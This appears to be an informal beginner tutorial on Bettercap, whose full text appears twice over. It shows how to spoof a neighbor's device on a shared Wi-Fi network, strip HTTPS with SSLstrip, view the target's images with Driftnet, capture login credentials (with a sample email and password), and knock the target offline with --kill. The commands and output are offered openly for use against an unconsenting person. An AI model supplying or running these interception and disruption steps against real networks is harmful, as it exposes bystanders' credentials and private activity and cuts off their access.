Bettercap: Sniffing, SSLstrip w/ HSTS Bypass AND MORE! [Written For Noobs]
Don't Be Too Illegal!
Bettercap is an up to date Sniffing and Spoofing tool and the successor to Ettercap.
In this tutorial i'll be focusing on finding targets, Forcing HTTP connection and viewing the non encrypted data. This includes things like Usernames, Passwords and images.
First off the software we'll be needing is:
SSLstrip
Bettercap
Ruby
Driftnet
I'll be using Linux Kali 2.0 in which only Bettercap needs to be installed manually (apt-get install bettercap).
The program is simple
Usage: bettercap [Options]
To view all available options simply type --help as an option (bettercap --help)
Now we see all available options. Some points of interests in this tutorial are:
-X (Enables Sniffer so we can capture and examine packages)
-P Value (Allows us to specify what kind of content to sniff)
--proxy (Enables SSLstrip and HSTS Bypass)
-T Value (Allows us to specify which IP we want to attack)
Let's start.
Pretend that your asshole neighbor Bob is stealing your Wi-Fi again with his macbook. Lets find out what he's doing.
Bettercap can be used as an simple network discovery tool by just typing bettercap. It'll now scan for targets. What appears is this
[NEW] 192. 168.1.24 : 32:C5:71:A2:D1:13 ( Apple )
Sense you know that you yourself don't have any apple products that must be him.
Great, We now have Bobs IP address and Mac address. Lets start putting it to use.
Firstly lets see what he's doing by using the Sniffer (-X) (bettercap -X -T 192. 168.1.24). Here's the output:
[192. 168.1.24 > 172. 217.29.227:https] [HTTPS] https ://172. 217.29.227/
From this we get the information that his computer is connecting to 'https ://172. 217.29.227/'. A simple Reverse DNS lookup shows that the IP belongs to google.
This information won't do so let's find out more.
bettercap --proxy -T 192. 168.1.24
Output:
[192. 168.1.24 > DNS] Received request for 'www ww. images.google. com', Sending spoofed reply ....
We can now see that he's using google images. Not only that, We are also using SSLstrip to force a non secure HTTP connection. This means that nothing's hidden from us. So lets look up what images he's searching for.
Driftnet:
Driftnet is a simple tool to view all images going through your computer. And 'cause he's now using non secured HTTP we can see all the images. Simply type driftnet -i [Network Interface].
A black box should show up and all images he'll view will you also be able to view. In the black box a bunch of cat pictures are showing up! We now know exactly what he's doing, He's looking at cat pictures.
If we're lucky we can also see some login information appear in its non encrypted glory.
Example:
[HEADERS]
Host : www .facebook.com
[BODY]
email : ilovekittens @ example.com
pass : kitties51
Ok enough playing around. Lets get this Wifi stealer away from our router.
bettercap -T 192. 168.1.24 --kill
Bob's now unable to do anything until you Ctrl + C
If we're looking for something specific we can specify what results we want with the -P option. If you're looking for login information you can use the value POST or if you're just looking for what websites someone's using use URL.
Examples:
bettercap -T [IP Address] (Find out simple information about a node)
bettercap -X -T [IP Address] -P URL (Find out what websites a node is visiting)
bettercap -T [IP Address 1],[IP Address 2] --kill (both of nodes are now unable to connect to anything)
bettercap -T [IP Address] --proxy (Forces target to use non encrypted connection and views target activity)
Don't Be Too Illegal!
Bettercap is an up to date Sniffing and Spoofing tool and the successor to Ettercap.
In this tutorial i'll be focusing on finding targets, Forcing HTTP connection and viewing the non encrypted data. This includes things like Usernames, Passwords and images.
First off the software we'll be needing is:
SSLstrip
Bettercap
Ruby
Driftnet
I'll be using Linux Kali 2.0 in which only Bettercap needs to be installed manually (apt-get install bettercap).
The program is simple
Usage: bettercap [Options]
To view all available options simply type --help as an option (bettercap --help)
Now we see all available options. Some points of interests in this tutorial are:
-X (Enables Sniffer so we can capture and examine packages)
-P Value (Allows us to specify what kind of content to sniff)
--proxy (Enables SSLstrip and HSTS Bypass)
-T Value (Allows us to specify which IP we want to attack)
Let's start.
Pretend that your asshole neighbor Bob is stealing your Wi-Fi again with his macbook. Lets find out what he's doing.
Bettercap can be used as an simple network discovery tool by just typing bettercap. It'll now scan for targets. What appears is this
[NEW] 192. 168.1.24 : 32:C5:71:A2:D1:13 ( Apple )
Sense you know that you yourself don't have any apple products that must be him.
Great, We now have Bobs IP address and Mac address. Lets start putting it to use.
Firstly lets see what he's doing by using the Sniffer (-X) (bettercap -X -T 192. 168.1.24). Here's the output:
[192. 168.1.24 > 172. 217.29.227:https] [HTTPS] https ://172. 217.29.227/
From this we get the information that his computer is connecting to 'https ://172. 217.29.227/'. A simple Reverse DNS lookup shows that the IP belongs to google.
This information won't do so let's find out more.
bettercap --proxy -T 192. 168.1.24
Output:
[192. 168.1.24 > DNS] Received request for 'www ww. images.google. com', Sending spoofed reply ....
We can now see that he's using google images. Not only that, We are also using SSLstrip to force a non secure HTTP connection. This means that nothing's hidden from us. So lets look up what images he's searching for.
Driftnet:
Driftnet is a simple tool to view all images going through your computer. And 'cause he's now using non secured HTTP we can see all the images. Simply type driftnet -i [Network Interface].
A black box should show up and all images he'll view will you also be able to view. In the black box a bunch of cat pictures are showing up! We now know exactly what he's doing, He's looking at cat pictures.
If we're lucky we can also see some login information appear in its non encrypted glory.
Example:
[HEADERS]
Host : www .facebook.com
[BODY]
email : ilovekittens @ example.com
pass : kitties51
Ok enough playing around. Lets get this Wifi stealer away from our router.
bettercap -T 192. 168.1.24 --kill
Bob's now unable to do anything until you Ctrl + C
If we're looking for something specific we can specify what results we want with the -P option. If you're looking for login information you can use the value POST or if you're just looking for what websites someone's using use URL.
Examples:
bettercap -T [IP Address] (Find out simple information about a node)
bettercap -X -T [IP Address] -P URL (Find out what websites a node is visiting)
bettercap -T [IP Address 1],[IP Address 2] --kill (both of nodes are now unable to connect to anything)
bettercap -T [IP Address] --proxy (Forces target to use non encrypted connection and views target activity)
